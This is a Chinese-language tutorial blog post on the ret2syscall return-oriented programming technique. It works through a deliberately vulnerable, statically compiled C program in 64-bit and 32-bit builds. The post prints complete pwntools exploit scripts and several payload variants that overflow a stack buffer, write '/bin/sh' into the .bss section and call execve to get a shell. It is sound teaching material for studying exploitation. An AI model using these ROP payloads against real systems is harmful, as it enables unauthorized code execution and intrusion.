ret2syscall
上一篇文章中我们通过如下 C 源码利用 ret2libc 技术攻击:
// ret2libc.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int dofunc() {
char b[8] = {};
write(1, "input:", 6);
read(0, b, 0x100);
write(1, "byebye", 6);
return 0;
}
int main() {
dofunc();
return 0;
}
如果我们采用静态编译,则所有使用过的 libc 库函数均会与代码一同打包为一个较大的可执行文件,采用静态链接的方式运行,而该文件往往是不包含 system() 函数的,也不存在动态链接库以及任何外部符号表,这意味着 ret2libc 完全失效了。
64 位 ret2syscall
按64位在 Ubuntu 16.04 环境下编译:
gcc ret2libc.c -static -o ret2syscall_x64 -fno-stack-protector -no-pie
可以看到,静态编译的程序空间占用远大于动态编译的程序,且无法使用 ld 查看动态链接器(即证明其为静态链接);进入 GDB 调试,vmmap 发现也不存在 libc 库了:


实际上,system() 函数通过 do_system 函数实现,而其底层实现是基于 execve(const char *file,char *const argv[],char *const envp[]) 函数的,其在父进程中 fork 一个子进程,在子进程调用 execve() 函数启动新的程序,本质上是将当前程序替换为要执行的程序,也就是说,这个函数会直接改变进程的执行流与函数布局,源文件之后的代码将一概不执行,但由于 system() 提前 fork 了一个子进程,故执行完 execve() 后还可以返回到原来的程序执行流。

那么,system("/bin/sh") 可以简化为 execve("/bin/sh", 0, 0) 。
- char *file:要打开运行的二进制文件,即 shell 的文件路径
/bin/sh - *const argv[]:传入 0 或空默认调用 shell 命令行,而传入数组
{"/bin/sh", "flag", NULL}则会形成脚本解析器,通过 shell 执行flag这一脚本文件,而第三个元素NULL意味着当argv里面要解析的不是 shell 脚本文件,就会将文本内容以报错的形式打印出来,这在题目关闭标准输入和输出的情况下可利用之以拿到 flag - *const envp[]:环境变量,默认 NULL,传入 0 即可
而 execve() 函数是通过系统调用 syscall 实现的。
在 Linux 中,系统调用 syscall 是运行在用户空间的程序向操作系统内核请求需要更高权限运行的服务,是用户空间访问内核的唯一手段,其通过系统调用号来区分入口函数。我们在 /usr/include/x86_64-linux-gnu/asm/unistd_64.h 可以查看:

同样地,execve 也有对应的系统调用号,即 59 = 0x3b 。不难看出,write 和 read 函数均是基于系统调用实现的,则存在这两个函数的静态编译程序必然存在 syscall 指令,我们就可以利用这些 gadget 构造出对于 execve 的 syscall ,从而 get shell。
应用程序进行系统调用,其调用过程大致分为:
- 将系统调用号存入 RAX 寄存器中
- 把函数参数按调用约定传入对应的寄存器中
- 触发
syscall中断
那么,基本的 paylaod 应当如下:
payload = b'a' * padding
payload += flat([pop_rax_ret, 0x3b, pop_rdi_ret, bin_sh_addr, pop_rsi_ret, 0, pop_rdx_ret, 0, syscall])
这样就构成一个包含 execve("/bin/sh", 0, 0) 的 syscall 系统调用。
利用 ROPgadget 可以很容易找到 pop; ret 和 syscall 相关地址,但是在 IDA 中,Shift + F12 查找字符串找不到 /bin/sh 字符串,但可以找到以 sh 结尾的字符串,可是 execve 与 system() 函数不一样,不会查找环境变量,而是直接按绝对路径去搜索,因此截取字符串的方法是不行的:

那么,我们可以调用 read 函数将 /bin/sh 字符串写入 bss 段中,在取消 PIE 保护的情况下,bss 段的地址是不会变的,也可读写,而写入随机化的栈地址中则较难泄漏。多数情况下,将 bss 段值为 0 的地址作为写入点基本是没有问题的,但是形如 align 20h 这样的地址,常用于对齐,写入新的数据覆盖是一定不会出现问题的;寻找 align 地址时需要观察其与下一条指令地址的距离,这样的地址需要足够大的写入空间( /bin/sh 加上 \x00 结尾标识符共 0x8 个字节)可以计算出 0x80 - 0x61 = 0x1f ,地址空间远大于写入数据长度。

得到了写入数据的 bss 地址,我们需要构造 read(0, bss_addr, 0x8) 函数写入 /bin/sh\x00 数据。先利用 pop; ret 将各个参数传入对应寄存器中;而由函数调用约定可知,开辟新的函数栈帧之前的 SP 寄存器指向的栈空间即为新调用函数的返回地址,为了写入数据后可以继续控制执行流到系统调用 execve ,需要手动布置 read() 函数的返回地址,因此 pop; ret 后面应放置一个 read() 函数入口地址,而不是 call read(CALL 指令会自动 push rip ,完成函数返回地址的设定),紧接着再放置先前我们确定下来的基本 paylaod 来系统调用 execve 即可,这样 read() 函数执行完毕就会返回到系统调用的 payload 中,从而实现第二次跳转。

payload += flat([pop_rdi_ret, 0, pop_rsi_ret, bss_addr, pop_rdx_ret, 8, read_addr]) # 写入字符串到 bss 段
payload += flat([pop_rax_ret, 0x3b, pop_rdi_ret, bss_addr, pop_rsi_ret, 0, pop_rdx_ret, 0, syscall]) # 系统调用 execve
发送完 payload,再通过 send() 发送 /bin/sh\x00 即可写入数据了。
点击查看代码
from pwn import *
context(log_level='debug', arch='amd64', os='linux')
file = './ret2syscall_x64'
p = process(file)
padding = 0x18
syscall = 0x4003da
pop_rax_ret = 0x41f384
pop_rdi_ret = 0x401636
pop_rdx_ret = 0x41e412
pop_rsi_ret = 0x401757
read_addr = 0x43F3A7
bss_addr = 0x6CBB61
payload = b'a' * padding
payload += flat([pop_rdi_ret, 0, pop_rsi_ret, bss_addr, pop_rdx_ret, 8, read_addr])
payload += flat([pop_rax_ret, 0x3b, pop_rdi_ret, bss_addr, pop_rsi_ret, 0, pop_rdx_ret, 0, syscall])
p.sendlineafter(b'input:', payload)
p.send(b'/bin/sh\x00')
p.interactive()
当然,我们也可以使用 read 的系统调用来写入数据,但是需要在 IDA 中通过 Ctrl + F 寻找 syscall; retn 的 gadget(ROPgadget 找到的没有 retn ),这样才能在第一次关于 read 的系统调用后继续 RET 进行 execve 的系统调用,Ctrl + G 转到下一个匹配的文本:

最后 payload 应当是这样的,read 的系统调用号为 0:
payload += flat([pop_rax_ret, 0, pop_rdi_ret, 0, pop_rsi_ret, bss_addr, pop_rdx_ret, 8, syscall_retn])
payload += flat([pop_rax_ret, 0x3b, pop_rdi_ret, bss_addr, pop_rsi_ret, 0, pop_rdx_ret, 0, syscall_retn])
32 位 ret2syscall
按 32 位在 Ubuntu 16.04 环境下编译:
gcc -m32 ret2libc.c -static -o ret2syscall_x86 -fno-stack-protector -no-pie
同 64 位,Linux 在 x86 架构上的系统调用通过 int 0x80 实现,在 /usr/include/x86_64-linux-gnu/asm/unistd_32.h 查看系统调用号:

可以看到,execve 对应的系统调用号为 11 = 0xb ,同时对于 execve 函数的传参也依次由 EBX、ECX、EDX 完成。对于写入 /bin/sh\x00 数据的方式则更为多样,分为 pop dword ptr; ret 法、read() 调用法和 int 0x80 系统调用法。
其一,32 位静态编译程序常常存在类似 pop [ecx]; ret 的 gadget,本质上是 pop dword ptr [ecx]; ret ,其将 ECX 寄存器看作指针,把其中的值作为地址,直接索引到地址所在的内存空间进行修改,因此我们就可以先将想要写入的 bss 地址 POP 到 ECX 上,再将待写入的数据利用 pop [ecx]; ret 直接在 ECX 的值对应的地址上覆写,而在 32 位中,4 字节为 1 个内存单元,/bin/sh\x00 需要 8 个字节即 2 个内存单元,应先覆写 /bin 到 bss 地址上,再将剩下的部分 /sh\x00 覆写到 bss 地址 + 4 处。当然,其他寄存器相关的 gadget 也是可以的,只是 ECX 更为常见而已。
下图是 payload 的结构与覆写原理:


点击查看代码
from pwn import *
context(log_level='debug', arch='i386', os='linux')
file = './ret2syscall_x86'
p = process(file)
padding = 0x14
int_0x80 = 0x806c995
pop_ptr_ecx_ret = 0x804b75a
pop_eax_ret = 0x80b8066
pop_edx_ret = 0x806ed1a
pop_ebx_ret = 0x80481c9
pop_ecx_ret = 0x80de75d
bss_addr = 0x80eb284
payload = b'a' * padding
payload += flat([pop_ecx_ret, bss_addr, pop_ptr_ecx_ret, b'/bin', pop_ecx_ret, bss_addr + 4, pop_ptr_ecx_ret, b'/sh\x00'])
payload += flat([pop_eax_ret, 0xb, pop_ebx_ret, bss_addr, pop_ecx_ret, 0, pop_edx_ret, 0, int_0x80])
p.sendlineafter(b'input:', payload)
p.interactive()
其二,有些程序找不到 pop [ecx]; ret 之类的 gadget,就可以使用程序包含的 read() 函数布栈调用来写入 bss 地址,按照 32 位函数调用约定,read() 函数的返回地址放入连续三次 POP 的 gadget,将先前传入的参数全部弹出,再布置新的参数到栈上,这样才能在第二次系统调用的时候正确 POP 相应的参数到寄存器中。

最终发送如下 payload,再 send(b'/bin/sh\x00') :
read_addr = 0x806D2E8 # read() 入口
pop_ebx_esi_edi_ret = 0x804847e
# ...
payload += flat([read_addr, pop_ebx_esi_edi_ret, 0, bss_addr, 0x8])
payload += flat([pop_eax_ret, 0xb, pop_ebx_ret, bss_addr, pop_ecx_ret, 0, pop_edx_ret, 0, int_0x80])
其三,read 也使用 int x80 系统调用。先利用 ROPgadget 得到一个 int 0x80 地址,在 IDA 中按 G 跳转到该地址,完全按照格式复制 int 80h 指令,Ctrl + F 粘贴查找 int 80h ,找到 int 0x80; retn 的 gadget:

同 64 位一样,遵守 32 位系统调用的传参规范即可:
int_0x80_retn = 0x806f320
# ...
payload += flat([pop_eax_ret, 3, pop_edx_ret, 8, pop_ebx_ret, 0, pop_ecx_ret, bss_addr, int_0x80_retn])
payload += flat([pop_eax_ret, 0xb, pop_ebx_ret, bss_addr, pop_ecx_ret, 0, pop_edx_ret, 0, int_0x80_retn])
有些题目会出现对应寄存器的 gadget 找不到的情况,可以尝试通过 mov; ret 一类的 gadget 将参数传入寄存器中,或者改变漏洞利用思路。

如果采用静态编译,阁下又该如何应对呢?
浙公网安备 33010602011771号